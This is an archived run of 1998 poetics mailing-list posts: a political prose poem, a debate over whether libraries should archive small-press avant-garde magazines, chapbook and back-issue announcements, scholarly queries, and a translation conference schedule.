The easy Yankee's victory parade and the uneasy Mideast peace agreement collided on the NYT front page last week. (Clinton cleansing his image, going Virginal again. Paper says, "Clinton didn't blink.") Here's a comment on that:

SLEEPWALK

History shed its elliptic dress, crawled down the onion-
skin hall of creation and slept with the toddling

flesh. Wan and hairless, we've scrambled since
then from the thorny proscenium leaf.
On dilated ponds beyond manicured
plots of gospel, we steal and slide.
Either side of parted waters, sleep-taught
children grind chalkmark hoops at their thighs,
ticker-tapes of yolky dominion, provisos
glazed in ghost. At the museum of street signs
to razed expectation, the wrecking crew plays at
host. Twixt rube and con hangs gambit,
the cross at the corner of demon and priest where
the choirboy genuflects at the bumper of the semi-
nal claptrap of sleep. Late morning traffic of
absolutism, primrose defile 'round the living
room couch where the Virgin lays eggs bloated
as eyeballs, presidential as dead trout; to the stygian
shores of chosen retention where the rabbis
wring their tongues; to the Wall of volitionally
bloodied noses; to the bullet-proof phylactery;
home-run past the dozer beneath the artillery
pulpit, discharging forty rapid-fire winks in his
dutiful helmet. At bat with the somniloquacious book-
keeper, the Virgin is an addict of vesper's raw meat, and
his old wife demures at his wake. We keep vigil
by the red millenial stock, but the profits of dewy
dreams all rise when the oracle is state-subsidized.
Oil and blood, it's blood, that's what it is. Aunt poli-
shes a switch for the glossolalial brat, for the jail-
bird of high-pitched espionage who dreams history
a long-toothed cat, the thorn in its paw the standard
disorder: Lying dogs howl while they nap.

↑ Index

76. Joseph Conte
RongRong the Archive
Wed 4 Nov 1998

This is a multi-part message in MIME format.

I recall that the New York Dada of the early teens published several short-lived journals--The Blind Man, and RongRong--that are now safely archived in places like the Poetry Collection at SUNY Buffalo.

But the Dadaists also felt that institutions like archives, libraries, and museums were the crypts of art. Only the dead went there.

It strikes me as antithetical to the spirit of the avant-garde for an "experimental magazine" to aspire to be archived. What possible motive could there be for "innovative" writing to be housed in a glass case in an inaccessible location for the readers of eighty years hence to marvel at the audacity of?

Do these archives actually _pay_ for the subscriptions sent to them? Or do you have to give it away for free?

Joseph Conte
Content-Description: Card for Conte, Joseph

begin: vcard
fn: Joseph Conte
n: Conte;Joseph
org: SUNY at Buffalo
adr;dom: Department of English;;306 Clemens Hall;Buffalo;New York;14260-4610;
email;internet: [redacted]
title: Associate Professor
tel;work: [redacted] x1009
tel;fax: [redacted]
tel;home: www.acsu.buffalo.edu/~jconte/
version: 2.1
end: vcard

----------83171DE0573A9095D60E7C90--

↑ Index

77. J. Kuszai
Re: RongRong the Archive
Wed 4 Nov 1998

Miekal, I should make myself clear. I think the list is the place for distribution of that information, but simply that 1) the listing of names of third parties who may not want to be listed might be unfair. At least in terms of the generation of junk-mail. Mailing lists are touchy. I wish Rite-Aid would take me off their list. But, as "occupant," I have more control over what appeared in my mailbox. Not everyone on the Special Collections list should be consideried a "friendly" and therefore nurturing relations with them might be smarter than flaunting names as commodities in and of themselves. As far as 2) backchannel preferences, I'd rather have it here on this list. My commentary was directed a couple of individuals who occasionally it appears have nothing better to do than make rather

drab ironic comment in a snickering and rather aggressive manner. Sometimes I think this overt hostility causes the list to hollow itself out, with only a few voices coming through the din. Amazing as it might seem, the space created by suggesting that people post announcements, etc., actually does bring in other voices. WHile these are hardly the combative intellectual struggles elsewise marked by list behavior, they do help give the list a real sense of meaning-in-time, which is why a full non-digested form of list subscription is different,say, from reading the archives. For me it should be both, if possible, and nothing, if neither-

↑ Index

78. Jim McCrary
Re: gysin tour
Wed 4 Nov 1998

DORTHY...was good to see your post as we here at Burroughs Communications have been involved, obviously. I had back channeled to respond to some Gysin questions earlier. Our associate Jose Ferez is in London now and I will forward your schedule, although he may already have it by now. Our regrets that Vancover didnt have show. I hope to see it somewhere, sometime as well. all best, Jim McCrary

↑ Index

79. Mark Wallace
The Letters of Mina Harker
Wed 4 Nov 1998

Hello listfolks:

I just wanted to note, in case it hasn't been done already, that Dodie Bellamy's LETTERS FROM MINA HARKER, published this year by Hard Press, really seems to me one of the best books of the year. Energetic, outrageous, precise, and so funny that there are certain lines that I laugh AGAIN every time I think about them. It's quite a genre-busting book too--epistolary novel? prose poem? social criticism or dramtatic monologue or autobiography? How about at least a little bit of all of them?

The penultimate chapter, focused mainly around the life of death of Dodie's sometime writing partner Sam D'Allesandro, is one of the most moving pieces of literature that I've read in awhile, taking account of the significance of a life without ever (as far as I can tell) sentimentalizing it or refusing its contradictions. I don't know how she manages to look so "unwinkingly" (as Spicer might have said) at what happens there--all I could do was blink. The last

chapter might seen a bit of a let down after that--or else like that last bit of the roller coaster ride when you're glad you're no longer flying upside down.

Guilty pleasures abound--it's great reading for anybody who loves horror movies, sex, repression, shock, pornography, and maybe even better reading for people who think that they hate them. Exploitation and social analysis were supposed to be opposites....

It's a book that's fun in the best way, serious in the worst way, and so un-beliavable that you know every bit of it is true.

When I write about it next I'll try to be flattering.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

80. Jim McCrary
Re: gysin tour
Wed 4 Nov 1998

sorry about that...uh...add my name to the offensive. jim mccrary

↑ Index

81. Henry Gould
Re: RongRong the Archive
Wed 4 Nov 1998

Miekal, I didn't see the archive at Brown on your list. The Harris Collection is one of the biggest around, including anything US or Canadian that's in any way "poetry".

Mail address is:

Harris Collection
John Hay Library - Box A
Brown University
Providence, RI 02912

- Henry "Jesse Ventura" Gould

trying really hard & writing a hundred times on the blackboard: "I will not be a meanie to Joel Kuszai I will not be a meanie to Joel Kuszai" - trying really hard

to be nice & not criticize anybody or anything in a way that might be funny because we are all good buddies here just tryin to pump some poetic fluids down the old archive waste aqueduct... just loving to be around poets 100% of the time & groove on the good vibes except for certain drab individuals who remain slurping over the edge of the pail...

↑ Index

82. Mark Prejsnar

Libraries, archives, the living and the dead

Wed 4 Nov 1998

The various points made about "special collections" are good ones...

I am responding immediately to today's posts from Joseph Conte and Joel K., which i've just read. As a poet with a chapbook just out, and an editor for some years of a poetry magazine, and a library professional at major universities for 20 years, let me wade in with one or two observations. I'm grateful for the chance to make these points, because they are important, and i don't think enuff people are in touch with this point of view...

The original query (from Meikal And??) and all responses assume that work outside the academic mainstream will only be acquired for "special collections." This is indeed the current state of affairs, in large part.

But it need not be, nor should it be.

Public and academic libraries **should** collect the best work being done for their general collections. If they did so, they would be acquiring from Meow and O-Blek and Texture and Chax and all the producers of fine books and chapbooks of poetry that really matters. Not just (sometimes, and with nudging) Sun & Moon. So while the point about archives feeling tomb-like to us active practitioners, is a valid one, that ain't the only important role for libraries.

This would *expand* not contract the active market for publishers, as very few readers who can afford to buy would *stop* purchasing from the publisher....It would expand readership, both among new readers and among those who (like myself) can seldom afford to send away, because great though the bargain is for a Meow chap i'll need that $5 in two weeks at the end of the pay-period..

I do what i can to ask libraries to purchase the real good work being produced--give 'em specific titles that i wish to use. This works fine at my current employer, Emory University, which is rotten with money from coke-running, admittedly. It will have somewhat more mixed results in other contexts. But it is possible to begin to alter the character of general library collections.

A project currently in the works would be a newsletter targeted at selectors in libraries, with short reviews of new stuff available...Essentially a Kirkus Reviews for the real poetry of our time.

with a disentombador,
mark

↑ Index

83. acgold01
Brion Gysin and Hank Lazer . . .
Wed 4 Nov 1998

. . . have never been seen in the same room together, have they? Aha! My point exactly.

Actually my point is to send communal thanks to everyone on the list who posted, f/c and b/c, information in response to my question about Gysin--very helpful, y'all.

And my second point is that, since someone recently plugged Hank Lazer's *Early Days of the Lang Dynasty*, I'll take the chance to plug his equally fine and pleasureable *3 of 10* (Chax, 1996). Acquiring it will give you the opportunity to send a few $ in the direction of the incorrigible Chuckster the Huckster Alexander down (up?) there in Tucson.

Alan

PS: And Joan Retallack's *How To Do Things With Words* just in / out from Sun and Moon. Deeply ommatophoric.

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84. charssmith
Patrick Pritchett's ARK DIVE
Wed 4 Nov 1998

Announcing the publication of Arcturus Chaplet # 1:

Patrick Pritchett: ARK DIVE

an elegy in memory of Ronald Johnson
4 x 6 1/2, letterpress, single sheet of Zerkall Book sewn in Fabriano Ingres covers, $4.00

Patrick Pritchett's poems and reviews have appeared in New American Writing, Rhizome, River City, non, American Book Review, and Exquisite Corpse, among others. He makes his home in Boulder, CO.

Handmade Arcturus Chaplets will be published irregularly throughout the year. Think of them as broadsides in codex form. Second in the series will be "[syzygos]," a recent poem by Kenneth Irby.

Also available:
Gustaf Sobin, A WORLD OF LETTERS
ISBN 0-9661505-1-1, 16 page letterpress chapbook, $8.00

Available from Small Press Distribution, 1341 Seventh Street, Berkeley, CA 94710; [redacted]; http://www.spdbooks.org; e-mail: [redacted]

(ARK DIVE will arrive at SPD by next week.)

or from the press, checks payable to: Charles Smith
CA residents, please add 7.25% sales tax

Arcturus Editions
2135 Irvin Way
Sacramento, CA 95822
[redacted]

↑ Index

85. Julie Marie Schmid

Re: Query on Salsa

Wed 4 Nov 1998

Howdy all you salseros out there!

Does anyone know the name of the improvised, half-spoken, half-chanted lyric that salsa singers such as Celia Cruz open with in performance? I believe it's called the "inspiracion," but am not sure. . .

Also, does anyone know of any good studies on salsa where I might find a reference to/description of such a thing?

Thanks in advance for your help. Feel free to backchannel responses.

Julie Schmid
Department of English
University of Iowa
308 EPB
Iowa City, IA 52245

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86. Erik Sweet
Jimmy Schuyler's Underroos
Wed 4 Nov 1998

Is he the master of the lamplight line or what?

↑ Index

87. Matt Kirschenbaum
Re: RongRong the Archive
Wed 4 Nov 1998

Edward Fristrom asked about SUNYA's Little Magazine:

> *Rumor has it*
> *though that the new CD is on its way. What rough beast comes snorkling*
> *up the Hudson? Hmmm?)*

I'm contributing a piece to the next Little Magazine CD-ROM, and have been told that it should be out early next year; provisional title for the disk is, I believe, "An Anthology of Emergent Hypermedia." Dimitri Anastasopoulos <[redacted]> is the current editor and the person to contact for details. Matt

↑ Index

88. Daniel Kane
Bernadette Mayer talking about Sonnets
Wed 4 Nov 1998

Some thing people on this list may be interested in -- B. Mayer, interviewed by me on the sonnet, rhyme, and other stuff, on line at www.writenet.org. Hit the "Poets on Poetry" link. You'll see a pix of Bernadette at a reading she gave recently at No Moore, the interview, plus the opportunity to download a W.A.V. file of Bernadette Mayer reading her poem "Sonnet" from _Another Smashed Pinecone_. Download takes about 4 minutes.

--daniel

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89. Edward Fristrom
Re: RongRong the Archive
Wed 4 Nov 1998

SUNYA's magazine "The Little Magazine" doesn't aspire to be in libraries. It aspires to be packed away in big boxes in the basement of SUNYA (or covertly in other basements). Still, what subscription money we have received--particularly in terms of subscriptions--mostly comes from libraries. That is, until we

switched to CD-ROM (digital encryption?). Now, few people know where to shelve us.

Go thin and people will hate you.

(And don't publish for a year and people will hate you. Rumor has it though that the new CD is on its way. What rough beast comes snorkling up the Hudson? Hmmm?)

Joseph Conte wrote:

> *But the Dadaists also felt that institutions like archives, libraries,*
>
> *and museums were the crypts of art. Only the dead went there.*
>
> *It strikes me as antithetical to the spirit of the avant-garde for an "experimental magazine" to aspire to be archived. What possible motive could there be for "innovative" writing to be housed in a glass case in an inaccessible location for the readers of eighty years hence to marvel at the audacity of?*
>
> *Do these archives actually _pay_ for the subscriptions sent to them? Or do you have to give it away for free?*
>
> *Joseph Conte*

↑ Index

90. L. MacMahon and T.R. Healy

20/20 Vision

Thu 5 Nov 1998

Wild Honey Press is pleased to announce the publication of _20/20 Vision_ by Pete Smith.

20/20 Vision is 20 pp, 14cm x 14cm, card cover, hand sewn, £3.50/$5.

Available from WHP 16a Ballyman Rd., Bray, Co. Wicklow, Ireland. (e-mail [redacted])

Or from Peter Riley (Books)
27 Sturton Street,
Cambridge CB1 2QG
United Kingdom. (e-mail: [redacted])

Smith is an English ex-non-pat living at Pinantan Lake in the South Central Interior of British Columbia. An active member of the Kamloops Poets' factory - scout & sundry duties with Hub City, their soon-coming magazine. Has published "Blending: A Suite" (after hours press, Kamloops 1984); "The Rhorschach Bunker" an essay-review (Agenda, London, Spring 1986); [after this I'm adding just now] poems & brief reviews forthcoming in The Gig #1 (Toronto, November 1998) & Hub City #1 (Kamloops, December 1990).

Here's an extract:

Of sorts.

Flags at half and pistols at twenty.
Beech-mast still pelts down.
The pace stretching our short days.
Evening out the stress bumps.
The tenor of morning an oratorio.
Another key where vibrato widens.
Spilt silt trickle spate estuary.
Semis, demis and demi-semis all a-quavering.
Just because there's a period doesn't mean an end.
The idea of body doesn't remove clothes.
Where there's a will there's a fisticuffs.
Way out west; way up north; weighed down.
A National Day of Morning: noon at midnight.
Mist of discharge fogs a dawn.
I half-doubt Thomas would have rhymed that.
It's bigger than a frisbee, bigger than New York.
If a poem had enough combustion.
Eiderdown. Dander up. Relaxation always a middling.
The reflexologist said, "You remind me of myself."
The twentieth line presages an abyss, of sorts.

↑ Index

91. Emily Grossman

Barbara Guest

Thu 5 Nov 1998

Was wondering if anyone knew of any good critical writing on Barbara Guest's work? Not sure where to begin to look.

Thanks,

Emily

↑ Index

92. George Bowering

Re: It's the same story since the beginning of creation...

Thu 5 Nov 1998

> *The easy Yankee's victory parade*

Hey, something I didnt know about baseball! Which one is the easy Yankee? I'm guessing David Wells.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

93. Robert Archambeau

Re: RongRong the Archive

Thu 5 Nov 1998

> *What possible motive*
> *could there be for "innovative" writing to be housed in a glass case in*
> *an inaccessible location for the readers of eighty years hence to marvel*
> *at the audacity of?*

I think your answer is inherent in your question, Joseph -- if there's something worth marvelling at, ought we not to want it to be available for those who want to marvel later?

I'm glad somebody preserved copies of the old magazines I've read in libraries, and I'm sure I'm not alone.

Your own work with the DLB has been part of the same tremendously valuable work of archiving the audacious, in a way, and I'm as grateful for the librarians archiving avant-mags as I am for what you did with DLB #193.

Bob Archambeau

↑ Index

94. Burt Hatlen

Re: POETICS Digest - 2 Nov 1998 to 3 Nov 1998 (#1998-113)

Thu 5 Nov 1998

---

all that compulsory listafarian sarcasm aside, I think that a paper on "now" in Milton and Wordsworth sounds fascinating; exactly the sort of thing that would have interested Zukofsky and Oppen, with their devotion to the little words.

Burt Hatlen

↑ Index

95. David Baratier
Re: RongRong the Archive
Thu 5 Nov 1998

---

1) I would like to join the backchannel list.
2) Library sales make larger press runs possible
3) If all of us were to sign a pact not to give away more than 10% of any press run, could we sell more?
Many have created an expectation in the market that all product is free. As this continues so does the unsalability market wide. Especially if one is doing it themselves.
4) I always clamp down on the compositors and chain stores to make the press profitable. Those areas esp. the second are much more negotiable than people know.
5) The ISBN price can be ludicrous & still get orders.
6) PS press has beautiful handcrafted hardcover books for library sales & collectors that make a large section of the soft covers paid for before publication. This is where I would like to expand & keep a few writer/bookbinders eating this winter.

Be well

David Baratier

mailto:[redacted]

↑ Index

96. Andrew D Epstein
Re: MLA
Thu 5 Nov 1998

I thought I'd chime in with an announcement about an MLA panel I'm on that might interest list members. It's "New York School Interactions: Demystifying the Cult of Personality" and will be on Monday, 12/28, at 7:15-8:30 in Plaza Room A. It will include:

-- "Sibling Bond and Rivalry: Ashbery, O'Hara and the Heritage of American Pragmatism," Andrew Epstein -- "The Suicide Note as Lunch Conversation: Amiri Baraka and Frank O'Hara in New York," Susan Jennifer Vanderborg -- "Saying it Sooner: The Pedagogy of the NY School," Thomas Dowe -- Respondent: Stephen Paul Miller

Hope to see some of you there!

Andrew

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97. Chicago Review
Chicago Review Sale Offers
Thu 5 Nov 1998

** Back issue sale **

"Contemporary Poetry & Poetics: A Special Issue" (Fall 1997)

Only $4 each.

Contributors include:

Amiri Baraka
Anne Carson
Alan Golding
Mark Halliday
Michael Heller
Brenda Hillman
Paul Hoover
Susan Howe
Barbara Jordan
Derek Mahon
Jed Rasula
John Shoptaw
Keith Tuma

This issue didn't circulate as widely as I'd hoped. I think it would interest both non-academic and academic readers of poetry. It includes essays and poems. Particularly interesting are Alan Golding on "New, Newer, and Newest American Poetries" and Susan Howe's poem "Arisbe" (from her forthcoming book Pierce Arrow).

Also, if you order our forthcoming issue (with special sections on Bunting and Peter Dale Scott) for $8, I'll include the first two issues of the 1998 volume free.

Those issues--44:1 & 44:2--may be ordered separately at half price ($3 each). I realize author names don't mean much, but here are some of the contributors:

44:1
Paul Carroll
Paul Hoover
Tom Pickard
Michael Anania

Craig Watson
Juliana Spahr
&
Interview w/ Robert Duncan

44:2
Linh Dinh
Martin Corless-Smith
John Koethe
Colin Simms
Paul Vangelisti
Catherine Wagner
Bill Griffiths
Jody Gladding
Ronald Johnson
&
John Taggart essay on George Oppen

Please make checks payable to Chicago Review, and send to the address below. I'm happy to answer queries about all other back issues, too.

Thanks,
Andrew Rathmann,
Editor

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
[redacted]

↑ Index

98. Fred Muratori
PD Plug
Thu 5 Nov 1998

In case anyone's interested, a couple of pieces from a sporadically narrative serial-prose-poem I've been writing are on today's Poetry Daily (http://www.poems.com) website. I'm still a bit surprised myself, since they aren't much in keeping with what's usually found there.

With apologies for the crass self-advert,

Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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99. Edward Foster
Poetry/Translation Conference
Thu 5 Nov 1998

The translation/poetry conference scheduled for the week-end of November 13-15 includes so much of interest and importance to poets that I am forwarding the preliminary schedule. Speakers and readers include a great range of poets and translators including Serge Gavronsky, Eleni Sikelianos, Michael Heller, Vladimir Druk, Caroline Bergvall, Robert Fagles, Katharine Washburn, Richard Kostelanetz, and Allen Mandelbaum. I am taking these names at random from a list of more than a hundred writers who will be giving readings and making presentations during the conference. If you would like more information please contact me at [redacted] or [redacted].

The conference will be at the Stevens Institute of Technology in Hoboken, New Jersey. The registration center will be on the third floor of the Morton-Peirce-Kidde complex -- the three linked buildings on the northeast corner of Sixth and River Streets, seven blocks north of the Hoboken PATH station (one subway stop from Manhattan) and the Hoboken ferry terminal. The complex is also two blocks east of the Sixth and Washington bus stop (frequent service from Port Authority). Those who drive can park in the Stevens "Navy Lot" on the south east corner of Sixth and River Streets. It's very easy to reach the campus.

---------- Forwarded message ----------

==========
========== FRIDAY, NOVEMBER 13th

Registration: 2:00-5:00 p.m.
3rd floor Morton-Peirce-Kidde

Session One: Mallarme'
3:00-5:00 p.m. - Room 204, Stevens Library

Chair: Ed Foster (Stevens Institute of Technology)
Serge Gavronsky (Barnard College), "Mallarme' in the U.S.A."
Stephen Ratcliffe (Mills College), on his book Mallarme' (1998);
Christopher Sawyer-Lauanno (Massachusetts Institute of Technology), "Mallarme' in Spanish"
Henry Weinfield (University of Notre Dame), "Ceding the Initiative to Words: Mallarme', the Poetic Process, and Translation"

.

5:00-6:45 p. m. - Dinner

.

GENERAL MEETING
(Sessions Two and Three)
7:00 p.m.
"Skyline Room," 4th floor, Howe Center

Session Two: Armand Schwerner:
The Poet as Translator - The Translator as Poet
Chair: Burt Kimmelman (New Jersey Institute of Technology)
Willard Gingerich (St. John's University)
Michael Heller (New York University)
Thomas Lavazzi (Savannah State University)
Stephen Paul Miller (St. John's University)
Kathryn VanSpanckeren (University of Tampa)

to be followed immediately by:

Session Three: The Talisman Project:
The Chinese, Greek, Russian, and Turkish Anthologies
Chair: Ed Foster (Stevens Institute of Technology)
Alex Cigale (New Jersey Institute of Technology)
Zhang Er
John High (San Francisco State University)
Vadim Mesyats (Russian/American Cultural Exchange Program)
Murat Nemet-Nejat
Kristin Prevallet
Leonard Schwartz (Bard College)
Eleni Sikelianos (The Poetry Project)
Mary Winegarden (San Francisco State University)
Linsey Watton (Bard College)

.

SATURDAY, NOVEMBER 14th

Registration: 9:00-5:00 p.m.
3rd floor Morton-Peirce-Kidde

Breakfast: 9:00-10:00 - 390 Kidde

9:45-11:15 a.m.

Session Four: Poems for the Millenium
Chair: Carl Whithaus (Stevens Institute of Technology)
Readings from and discussion of Poems for the
Millenium, edited by Jerone Rothenberg and Pierre Joris with Pierre Joris (State University of New York, Albany); Murat Nemet-Nejat; Nicole Payrafitte; Hiroaki Sato

Session Five: Portugese Chair: Paulo Lemos Horta (University of Toronto); Monique Balbuena, reading her translations of Carlito Azevedo; Catarina Edinger (William Paterson University), "The Translator's Responsibility: Translations of Twentieth-Century Writers to and from Portugese"; Jeffrey Ruth (City University of New York), on The Lusiads; Alexis Levitin (State University of New York, Plattsburg), "Clarice Lispector: The Stylistics of Love"; Paulo Lemos Horta (University of Toronto), reading from his translations of Fernando Pessoa

Session Six: Theory I Chair: Piotr Gwiazda (New York University); Lauretta C. Clough (University of Maryland), "Academic Translation as Genre: The Case of Pierre Bourdieu"; Piotr Gwiazda (New York University), "Literary Translation and the Question of Hospitality"; Kathryn A. Kopple, "Mother's Tongue: Deleuze's Symptomatology and XUL in Translation"

Session Seven: Russian I Chair: Ekaterina Sukhanova; Kristin Peterson (Ohio State University), "An Evening with Evgeny Yevtushenko"; Sylvia Maizell, reading from her trans-lation of Joseph Brodsky; Larissa Shmailo, reading from her translation of Joseph Brodsky's Landscape with Flood; Ekaterina Sukhanova, reading from her translations of Sergej Zalygin

Session Eight: Greek and Latin Chair: Joel Feimer (Mercy College); Rachel Hadas (Rutgers University), reading from her translations from ancient Greek; Charles Ross (Purdue University), reading from his translation of Statius's Thebiad; Kristina J. Chew (University of St. Thomas), "Restoring the Classics: Translating the World of Virgil's Georgics" and reading from her translations of the Georgics

.

11:15-12:45 p.m.

Session Nine: Artaud, Beauvoir, Celan Chair: Holly Hahhr (Stevens Institute of Technology); Pierre Joris (State University of New York, Albany), reading from his translations of Celan; Sandy Flitterman (Rutgers University), "The Errant

Phoneme: Artaud and Language"; Luise van Flotow (University of Ottawa), "Simone de Beauvoir"

Session Ten: XUL: Experiences and Experiments in Translating Argentine Poetry Chair: Kathryn A. Kopple Readings from and discussion of XUL with Ernesto Gros-man; Kathryn A. Kopple; Gregary Y. Racz (Long Island University), "Endless Revision: The Process of Finalizing 'Nonsense' Verse"; Reinaldo Laddaga

Session Eleven: Russian II Chair: Julia Kunina; Henry Gould, reading from his translations of Mandelstam, Shvarts, Kunina; Ina Bliznetsona and Isabella Mizrachi reading their translations of Emily Dickinson; readings by Russian poets Julia Kunina and Alexander Aleynik

Session Twelve: Renaissance I Chair: Earl Jeffrey Richards (Wuppertal University); Diane Marks (Brooklyn Collge), "Charles d'Orleans: Interpreter of Thought"; John S. Pendergast (Virginia Commonwealth University), "Politics and Bible Translation in Early Modern England"; Carl Whithaus (Graduate Center, CUNY), "Trans-lating Dissent: Gender and Style in Elizabeth Cary's Reply of the Most Illustrious Cardinall Perron and History of Edward II"

Session Thirteen: Readings: Roumanian, Polish, Dutch Chair: Adam J. Sorkin (Penn State University); A Reading by poets Carmen Firan and Iona Ieronim with translations by Adam J. Sorkin (Penn State University); Piotr Gwiazda (New York University), reading from his translations of Kazimierz Brakoniecki, Tomasz Jastrun, Bronislaw Maj; Duncan Dobbleman, discussing and reading from his translations of Paul Van Ostaijen

.

12:45-1:15 p.m. - SPECIAL SESSIONS

Session Fourteen: Translating for the Theater and Film
"Translating Theater: The Challenge of Producing a Stable Text" with
Phyllis Zatlin (Rutgers University), Marion Holt, and student actors

Session Fifteen "Subtitling Foreign Film on
Video - A Demonstration"
John Incledon (Albright College) (See also
Professor Incledon's workshop, listed below)

.

1:15-2:45 p.m.

Session Sixteen: Writing from The Edge Chair: Pat Rosal (Sarah Lawrence University); Cynthia Crane (University of Cincinnati), "The Collaborative Translating of 'Mischling Stories'"; Jennifer Dick, reading from her translations of Jean-Louis Giovannoni and Raphale George; Rosette C. Lamont (Sarah Lawrence

College), "Writing from the Edge of Being" (with readings from her translations of Charlotte Dembo and Gis-laine Dunant); Kamil Turowski, reading his translation of The Diary of David Sierakowiak: Five Notebooks from the Lodz Ghetto"

Session Seventeen: Symbolists: Mallarme' and Merrill Chair: Edward Foster (Stevens Institute of Technology); Elaine L. Corts, reading her translations of Stuart Merrill; Edward Foster (Stevens Institute of Technology), "Maybe English, Maybe French: Stuart Merrill Abandons America (or Was It France?)"; Laird Hunt, reading from his translations of Stuart Merrill; William Marsh, reading from his translation of Mallarme''s Un Tombeau d'Anatole

Session Eighteen: Russian III Chair: John High (San Francisco State University); Mark Herman, "Translating for Singing: The Songs of Bulat Okudzhava"; Alexander Genis, "Wallace Stevens: The Experience of Translation"; Ian Probstein, "West-East: Approaches to the Translation of Poetry"; Julia Trubikhina (New York University), "'Abusive Fidelty' or Faithful Abuse? Nabokov's Literalness, and Western and Russian Translation Theories"

Session Nineteen: Renaissance II Chair: Carl Whithaus (Stevens Institute of Technology); Earl Jeffrey Richards (Wuppertal University), "What Is Gained and What Is Lost: Modern Translations of Chris-tine de Pizan's Book of the City of Ladies"; Jill Claretta Robbins, reading from her translations of Ceccoli, Nuccoli, and Tasso; Charles Ross (Purdue University, reading from his translation of Boiardo's Orlando Innamorato

Session Twenty: Readings: Central/South America Chair: Susan Levin (Stevens Institute of Technology); Chris Brandt, readings from Brandt's translation of Carmen Valle's Wild Animals Between Waking and Dreaming (with the original work read by the author); Kathryn Kopple, reading from her translations of Mercedes Roff, with the original works read by the author; Marisol Wexman, reading from her own works

.

2:45-4:15 p.m.

Session Twenty-One: Russian IV Chair: Vadim Mesyats (Russian/American Program); readings by Russian poets Vladimir Gandelsman, Alexander Aleynik, Vladimir Druk, and Vadim Mesyats; Irina Mashinshaia, reading from her translations of Craig Czury (with the poems read by the poet in English)

Session Twenty-Two: Eustache Deschamps Chair: Gale Sigal (Wake Forest University); Ian Laurie (Flinders University. emeritus), "Translating Poetry as a Profession: Eustache Deschamps c. 1340-1404"' Deborah Sinnreich-Levi (Stevens Institute of Technology) and David Curzon (United Nations), reading translations of Deschamps' poetry

Session Twenty-Three: Spanish Chair: Patricia Santoro (St. Peter's College); James Graham, on Roque Dalton; Kathleen O'Connor (Houghton College), "Rubn Daro: Translating the Feel of El Modernismo" and reading her translation of Daro's "Los motiuos del lobo"; Ruth V. Crispin, reading from her translations of Pedro Salinas

Session Twenty-Four: In Our Time Chair: Susan Levin (Stevens Institute of Technology); Caroline Bergvall, "Translation and Translatability in Contemporary French and American Literature"; Joseph Donahue (University of Washington), "Stickney Goes to India; Fenollosa Goes to Japan"; Craig D. Dworkin (Princeton University), "One Saint in Five Acts" (on Gertrude Stein)

Session Twenty-Five: Chinese: Chair: Zhang Er; Paul Rakita Goldin (University of Pennsylvania), "A Note on Paronomasia and the Problem of Translating Ancient Chinese Philosophy"; Zhang Er, reading from her poetry with translations by Leonard Schwatrtz (Bard College); Helen Chau Hu (California State University, Long Beach), "Cognitive Measures in the Translating of Imagery (with particular reference to translating Dickinson and Emily Bront into Chinese)"; Jian Zhang (Suffolk Community College), "Application of Reading Transaction Theory to Literary Translation (with particular reference to Can Xue)"

.

4:15-5:00 p.m.

WORKSHOPS:

Afrikaans (Carol Lasker)
Ancient Chinese (Paul Rakita Goldin)
Modern Chinese (Zhang Er)
French (Holly Haahr)
German (Kevin J. Ruth)
Greek (Eleni Sikelianos)
Hebrew (Chanah Bloch)
Hindi and Gujrati (Preety Sengupta)
Italian (T.B.A.)
Portugese (Catarina Edinger and Jeffrey Ruth)
Russian (John High and Vadim Mesyats)
Sanskrit (Andrew Schelling)
Spanish (T.B.A.)
Turkish (Murat Nemet-Nejat)
Urdu (Mahwash Shoaib?)
"Drafting final drafts" with Carmen Firan and Adam J. Sorkin
(Penn State University)
"Subtitling Foreign Film on Video" (John Albright)

.

5:00-6:45 - Dinner

.

GENERAL MEETING:
Keynote Address and Session Twenty-Six: 7:00 p.m.
Grand Hall, Stevens Library

Keynote Address
Allen Mandelbaum (W. R. Kenan, Jr., Professor of Humanities,
Wake Forest University)

Session Twenty-Six: In Celebration of World Poetry:
An Anthology of Verse from Antiquity to Our Time, edited by Kathari-ne
Wash-burn and John S. Major
Chair: Katharine Washburn
Vyt Bakaitis
David Curzon (United Nations)
Greg Delanty
Robert Fagles (Princeton University)
Rachel Hadas (Rutgers University)
Edmund Keely (Princeton University)
Judith Kroll (University of Texas)
Rika Lesser (Yale University)
Charles Martin
Mark Rudman (New York University)
Raymond Scheindlin (Jewish Theological Seminary)
Andrew Schelling (Naropa Institute)
Richard Sieburth (New York University)
Louis Simpson
David Slavitt
Carolyn Tipton

.

SUNDAY, NOVEMBER 15th

Registration: 9:00-2:00 p.m.
3rd floor Morton-Peirce-Kidde

Breakfast: 10:00-11:00 - 390 Kidde

11:00 - 12:30 p.m.

Session Twenty-Seven: Hebrew Chair: Chaim Vogt-Moykopf (University of Mon-treal); Chanah Bloch (Mills College), "Between Cultures, or, a Jew at the Opera"; Chanah Bloch (Mills College), reading from her translations of Yehuda

Amichai; Aminadav Dykman, "Translating Poetry - The Specifics of the Hebrew Tradition"

Session Twenty-Eight: Readings Chair: Steve Johnson (Stevens Institute of Technology); M. G. Prasad (Stevens Institute of Technology), reading from his translations from poetry in Kannada; Preety Sengupta, reading translations of her own work; Mahwash Shoaib, reading translations of Kishwar Naheed; Andrew Schelling (Naropa Institute), discussing his translations from Sanskrit

Session Twenty-Nine: Theory II Chair: Ed Foster (Stevens Institute of Technology); Peter DeDomenico, reading and discussing his translation of Gaston Bachelard; William Marton (University of Chicago), "The Invisible Art: Typography as Translation"

.

12:30-1:00 p. m. - Special Session
Session Thirty-Two: Richard Kostelanetz

.

1:00 - 2:30 p.m.

Session Thirty: German Chair: Chaim Vogt-Moykopf (University of Montral); Kevin J. Ruth (Newark Academy), "Poetry of War and Identity: Problems in German-English Translation (Valery, Veiter, Eich, Celan)"; Susan Bernofsky (Bard College), reading her translation of Robert Wal-ser's Der "Ruber" Roman; Elisabeth D. Kuhn (Virginia Commonwealth University), "Linguistic Tools in Poetry Translation: Towards Keeping the Music Alive"

